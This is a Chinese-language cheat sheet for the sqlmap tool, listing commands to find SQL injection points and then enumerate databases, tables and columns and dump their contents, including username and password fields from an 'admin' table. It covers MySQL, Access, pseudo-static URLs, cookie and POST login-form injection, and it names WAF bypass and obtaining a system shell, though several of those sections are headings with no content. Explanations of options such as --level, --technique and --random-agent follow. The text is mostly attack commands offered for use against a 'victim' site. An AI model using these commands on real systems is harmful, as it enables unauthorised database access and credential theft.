sqlmap
MySQL数据库注入
sqlmap -u url --dbs #获取数据库
sqlmap -u url -D 指定的数据库 --tables #获取数据库中的表
sqlmap -u url -D 指定的数据库 -T 表名 --columns #获取表字段
sqlmap -u url -D 指定的数据库 -T 表名 -C id,user,pass --dump #获取字段内容Access注入
sqlmap -u 注入点url #判断是否有注入
sqlmap -u 注入点url --tables #access直接猜表
sqlmap -u 注入点url --colums -T admin #爆出admin表,猜解它的字段
sqlmap -u 注入点url --dump -T admin -C "username,password" #猜字段内容伪静态注入
sqpmap -u http://victim.com/id/666*.html --dbs #在html扩展名前加个'*'Cookie注入
网站有判断,不让用and,update等参数时就得加上Cookie。
sqlmap -u url --cookie="cookie值" --dbs #(或) --tables --level 2POST表单注入
注入点: http://victim/Login.asp 几种方式:
请求延时
Web防注入措施,在访问两次错误页面后,第三次必须访问正确的页面
绕过WAF防火墙
类似脚本
file参数使用
获取系统交互shell
参数解释
星号
在注入的过程中,有时候是伪静态的页面,可以使用星号表示可能存在注入的部分
--data
使用post方式提交的时候,就需要用到data参数了
-p
当我们已经事先知道哪一个参数存在注入就可以直接使用-p来指定,从而减少运行时间
--level
不同的level等级,SQLMAP所采用的策略也不近相同,当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数;当–level参数设定为3或者3以上的时候,会尝试对User-Angent,referer进行注入。
--random-agent
使用该参数,SQLMAP会自动的添加useragent参数,如果你知道它要求你用某一种agent,你也应当用user-agent选项自己指定所需的agent
--technique
这个参数可以指定SQLMAP使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
常用tamper脚本使用 地址:http://mp.weixin.qq.com/s/vEEoMacmETUA4yZODY8xMQ
Last updated
Was this helpful?